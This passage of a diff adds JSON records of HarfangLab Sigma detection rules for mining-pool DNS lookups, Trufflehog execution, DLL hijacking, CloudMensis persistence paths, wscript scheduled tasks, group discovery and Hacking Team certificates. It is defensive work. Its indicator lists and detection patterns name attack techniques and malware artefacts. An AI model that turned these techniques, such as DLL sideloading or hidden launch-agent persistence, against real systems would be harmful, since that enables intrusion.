'volt-mine.com'\n            - 'woolypooly.com'\n            - 'xmrpool.eu'\n            - 'zergpool.com'\n            - 'zeropool.io'\n            - 'zpool.ca'\n\n    exclusion_resolver:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k NetworkService -p -s Dnscache'\n\n    exclusion_browser:\n        ProcessOriginalFileName:\n            - 'firefox.exe'\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'msedge.exe'\n            - 'librewolf.exe'\n            - 'opera.exe'\n            - 'vivaldi.exe'\n            - 'iexplore.exe'\n            - 'msedgewebview2.exe'\n            - 'zen.exe'\n\n    exclusion_svchost_sharedaccess:\n        ProcessCommandLine: '?:\\Windows\\System32\\svchost.exe -k netsvcs -p -s SharedAccess'\n\n    exclusion_mcafee:\n        ProcessImage: '?:\\Program Files\\McAfee\\Endpoint Security\\Adaptive Threat Protection\\mfeatp.exe'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_kaspersky:\n        ProcessOriginalFileName: 'avp.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Kaspersky Lab JSC'\n\n    exclusion_nexthink:\n        # C:\\Program Files\\Nexthink\\Collector\\Collector\\nxtsvc.exe\n        ProcessOriginalFileName: 'nxtsvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NEXThink S.A.'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\program files (x86)\\'\n        ProcessSigned: 'true'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a596512c-c042-4d93-aa3b-bcd10e987acb",
+  "rule_name": "DNS Request to Cryptocurrency Mining Pool (Windows)",
+  "rule_description": "Detects a DNS resolution request for a known cryptocurrency mining pool website.\nA mining pool is a joint group of cryptocurrency miners who combine resources over a network to find blocks quicker and share coins.\nThis may be an indicator of hidden or covert mining programs in a system making requests to crypto pooling websites.\nIt is recommended to investigate the process performing this request to determine its legitimacy.\n",
+  "rule_creation_date": "2023-04-06",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a5980fd1-5944-47d7-a1df-560ad4ada0b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070744Z",
+  "creation_date": "2026-03-23T11:45:34.070746Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070751Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/trufflesecurity/trufflehog",
+    "https://www.zscaler.com/fr/blogs/security-research/mitigating-risks-shai-hulud-npm-worm",
+    "https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/",
+    "https://attack.mitre.org/techniques/T1552/"
+  ],
+  "name": "t1552_trufflehog_executed_macos.yml",
+  "content": "title: Trufflehog Executed (macOS)\nid: a5980fd1-5944-47d7-a1df-560ad4ada0b3\ndescription: |\n    Detects the execution of Trufflehog, a security scanning tool commonly used to identify exposed secrets and credentials within source code repositories.\n    This tool was used in the Shai Hulud campaign, where attackers leveraged it to search for exposed secrets within compromised repositories.\n    The Shai Hulud campaign targeted the npm and Node.js ecosystem, focusing on compromised packages and developer environments to harvest exposed secrets and gain further access.\n    It is recommended to analyze the execution chain associated with this alert to determine if the usage of this tool is legitimate.\nreferences:\n    - https://github.com/trufflesecurity/trufflehog\n    - https://www.zscaler.com/fr/blogs/security-research/mitigating-risks-shai-hulud-npm-worm\n    - https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/\n    - https://attack.mitre.org/techniques/T1552/\ndate: 2025/11/26\nmodified: 2025/11/27\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1083\n    - attack.credential_access\n    - attack.t1552\n    - attack.collection\n    - attack.t1213\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Tool.Trufflehog\n    - classification.macOS.Behavior.Discovery\n    - classification.macOS.Behavior.CredentialAccess\n    - classification.macOS.Behavior.Collection\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith: '/trufflehog'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a5980fd1-5944-47d7-a1df-560ad4ada0b3",
+  "rule_name": "Trufflehog Executed (macOS)",
+  "rule_description": "Detects the execution of Trufflehog, a security scanning tool commonly used to identify exposed secrets and credentials within source code repositories.\nThis tool was used in the Shai Hulud campaign, where attackers leveraged it to search for exposed secrets within compromised repositories.\nThe Shai Hulud campaign targeted the npm and Node.js ecosystem, focusing on compromised packages and developer environments to harvest exposed secrets and gain further access.\nIt is recommended to analyze the execution chain associated with this alert to determine if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2025-11-26",
+  "rule_modified_date": "2025-11-27",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083",
+    "attack.t1213",
+    "attack.t1552"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a5a5daeb-19c0-4205-a23e-a08d3c70ee46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094085Z",
+  "creation_date": "2026-03-23T11:45:34.094087Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094091Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_directxdatabaseupdater.yml",
+  "content": "title: DLL Hijacking via DirectXDatabaseUpdater.exe\nid: a5a5daeb-19c0-4205-a23e-a08d3c70ee46\ndescription: |\n    Detects potential Windows DLL Hijacking via DirectXDatabaseUpdater.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'DirectXDatabaseUpdater.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dismapi.dll'\n            - '\\npmproxy.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a5a5daeb-19c0-4205-a23e-a08d3c70ee46",
+  "rule_name": "DLL Hijacking via DirectXDatabaseUpdater.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via DirectXDatabaseUpdater.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a5c40b82-e29e-4791-a063-9fb90ce0d69d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617765Z",
+  "creation_date": "2026-03-23T11:45:34.617766Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617771Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/",
+    "https://attack.mitre.org/versions/v11/techniques/T1543/004/"
+  ],
+  "name": "cloudmensis_malware.yml",
+  "content": "title: Suspicious Command-Line related to CloudMensis\nid: a5c40b82-e29e-4791-a063-9fb90ce0d69d\ndescription: |\n    Detects suspicious command line arguments associated with CloudMensis malware.\n    CloudMensis is a macOS malware that leverages cloud storage as its command and control (C2) channel, exfiltrating sensitive information such as documents, keystrokes, and screen captures from compromised systems.\n    It is recommended to inspect the content of the plist file and the process launching the suspicious command.\nreferences:\n    - https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/\n    - https://attack.mitre.org/versions/v11/techniques/T1543/004/\ndate: 2023/07/11\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543.004\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Malware.CloudMensis\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        CommandLine|contains:\n            # CloudMensis preferences\n            - '/Library/Preferences/com.apple.iTunesInfo28.plist'\n            - '/Library/Preferences/com.apple.iTunesInfo29.plist'\n            # /Users/<user>/Library/Preferences/com.apple.iTunesInfo.plist\n            - '/Library/Preferences/com.apple.iTunesInfo.plist'\n            # /Users/<user>/Library/LaunchAgents/.com.apple.loginwindow.plist\n            - '/Library/LaunchAgents/.com.apple.loginwindow.plist'\n            # /Users/<user>/Library/LaunchAgents/.com.apple.softwareupdate.plist\n            - '/Library/LaunchAgents/.com.apple.softwareupdate.plist'\n            # CloudMensis hidden daemon\n            - '/Library/LaunchDaemons/.com.apple.WindowServer.plist'\n\n            # CloudMensis binaries path\n            - '/Library/Containers/com.apple.FaceTime/Data/Library/windowserver'\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a5c40b82-e29e-4791-a063-9fb90ce0d69d",
+  "rule_name": "Suspicious Command-Line related to CloudMensis",
+  "rule_description": "Detects suspicious command line arguments associated with CloudMensis malware.\nCloudMensis is a macOS malware that leverages cloud storage as its command and control (C2) channel, exfiltrating sensitive information such as documents, keystrokes, and screen captures from compromised systems.\nIt is recommended to inspect the content of the plist file and the process launching the suspicious command.\n",
+  "rule_creation_date": "2023-07-11",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a618be30-2183-4bab-b5f6-42f4657a8a45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084495Z",
+  "creation_date": "2026-03-23T11:45:34.084497Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084501Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/",
+    "https://attack.mitre.org/techniques/T1059/",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_005_suspicious_script_scheduled_task.yml",
+  "content": "title: Suspicious Wscript Scheduled Task Created\nid: a618be30-2183-4bab-b5f6-42f4657a8a45\ndescription: |\n    Detects the creation of scheduled tasks that execute scripts through wscript.exe via command-line.\n    This technique is frequently abused by attackers to maintain persistence by scheduling malicious script execution at regular intervals or system events.\n    While scheduled tasks are common, those invoking wscript directly warrant investigation.\n    It is recommended to investigate scheduled tasks executing wscript.exe, analyze the associated script contents for malicious code, and remove unauthorized tasks while reviewing historical execution patterns.\nreferences:\n    - https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/\n    - https://attack.mitre.org/techniques/T1059/\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2024/05/13\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - attack.t1059\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.Wscript\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\schtasks.exe'\n        - OriginalFileName: 'schtasks.exe'\n    selection_action:\n        CommandLine|contains:\n            - '/create '\n            - '-create '\n    selection_name:\n        CommandLine|contains:\n            - '/tn '\n            - '-tn '\n    selection_scripting_engine:\n        CommandLine|contains:\n            - 'cscript '\n            - 'cscript.exe '\n            - 'wscript '\n            - 'wscript.exe '\n\n    exclusion_vda_cloning_orchestrator:\n        CommandLine|contains: 'VDA Cloning Orchestrator'\n\n    exclusion_ojdkbuild:\n        CommandLine|contains|all:\n            - 'ojdkbuild_jdk_update_checker'\n            - '?:\\Program Files\\ojdkbuild\\java-*\\update\\checker.vbs'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a618be30-2183-4bab-b5f6-42f4657a8a45",
+  "rule_name": "Suspicious Wscript Scheduled Task Created",
+  "rule_description": "Detects the creation of scheduled tasks that execute scripts through wscript.exe via command-line.\nThis technique is frequently abused by attackers to maintain persistence by scheduling malicious script execution at regular intervals or system events.\nWhile scheduled tasks are common, those invoking wscript directly warrant investigation.\nIt is recommended to investigate scheduled tasks executing wscript.exe, analyze the associated script contents for malicious code, and remove unauthorized tasks while reviewing historical execution patterns.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005",
+    "attack.t1059"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a634e7a2-5d0a-4686-a230-17b8fb969926",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080925Z",
+  "creation_date": "2026-03-23T11:45:34.080927Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080932Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/WhichbufferArda/status/1566395376252379137",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rastls.yml",
+  "content": "title: DLL Hijacking via RawTls.exe\nid: a634e7a2-5d0a-4686-a230-17b8fb969926\ndescription: |\n    Detects potential Windows DLL Hijacking via RawTls.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate Symantec executable and placing a malicious RawTls.dll file alongside.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/WhichbufferArda/status/1566395376252379137\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/07\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dot1xtra.exe'\n        ProcessSignature: 'Symantec Corporation'\n        ImageLoaded|endswith: '\\RasTls.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Symantec\\\\*\\bin\\'\n            - '?:\\Program Files (x86)\\Symantec\\\\*\\bin\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a634e7a2-5d0a-4686-a230-17b8fb969926",
+  "rule_name": "DLL Hijacking via RawTls.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via RawTls.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate Symantec executable and placing a malicious RawTls.dll file alongside.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-07",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a69afc09-359a-4fbc-ae4c-77637f5258fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628212Z",
+  "creation_date": "2026-03-23T11:45:34.628214Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628219Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/",
+    "https://attack.mitre.org/techniques/T1069/001/",
+    "https://attack.mitre.org/techniques/T1069/002/"
+  ],
+  "name": "t1069_001_net_localgroup.yml",
+  "content": "title: Group Content Discovered\nid: a69afc09-359a-4fbc-ae4c-77637f5258fc\ndescription: |\n    Detects the execution of 'net localgroup <group>' or 'net group <group>'.\n    This is often used by attackers to discover the content of the groups locally or in the domain.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/\n    - https://attack.mitre.org/techniques/T1069/001/\n    - https://attack.mitre.org/techniques/T1069/002/\ndate: 2022/12/01\nmodified: 2025/10/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.001\n    - attack.t1069.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n    selection_2:\n        CommandLine|contains:\n            - ' localgroup'\n            - ' group'\n\n    # This is handled by the rules\n    filter_command:\n        CommandLine|contains:\n            - '/add'\n            - '/delete'\n            - '/del'\n    filter_admin:\n        CommandLine|contains: 'admin'\n\n    condition: all of selection_* and not 1 of filter_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a69afc09-359a-4fbc-ae4c-77637f5258fc",
+  "rule_name": "Group Content Discovered",
+  "rule_description": "Detects the execution of 'net localgroup <group>' or 'net group <group>'.\nThis is often used by attackers to discover the content of the groups locally or in the domain.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2025-10-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1069.001",
+    "attack.t1069.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a6b56b83-9dfb-45a3-ad2d-9f468b0f6386",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070428Z",
+  "creation_date": "2026-03-23T11:45:34.070430Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070434Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/old-certificate-new-signature/",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_hacking_team_stolen_cert_image_load.yml",
+  "content": "title: Image Loaded Signed with Hacking Team Certificate\nid: a6b56b83-9dfb-45a3-ad2d-9f468b0f6386\ndescription: |\n    Detects the loading of an image signed with Hacking Team's certificates.\n    HackingTeam is an Italian information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations.\n    This can be the sign of a malware using a fake signature to evade AV/EDR detection.\n    It is recommended to analyze the binary to search for malicious contents.\nreferences:\n    - https://blog.talosintelligence.com/old-certificate-new-signature/\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2023/07/13\nmodified: 2025/01/21\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.StolenCertificate\nlogsource:\n    category: library_event\n    product: windows\ndetection:\n    selection:\n        ImageSignatureSignerThumbprint:\n            - '2A1DA6DC8635E6C725CCCBE6C035EEC813FBEB2E' # Certum Level III CA - Open Source Developer, William Zoltan\n            - '6C5886C0DA723E8B2AEC8C02392D4B175E793EBE' # VeriSign Class 3 Code Signing 2010 CA - HT Srl\n            - 'B366DBE8B3E81915CA5C5170C65DCAD8348B11F0' # VeriSign Class 3 Code Signing 2010 CA - HT Srl\n            - 'B7C646E3A433986E165BA45B209DA4A2C4111939' # Certum Code Signing CA - Luca Marcone\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a6b56b83-9dfb-45a3-ad2d-9f468b0f6386",
+  "rule_name": "Image Loaded Signed with Hacking Team Certificate",
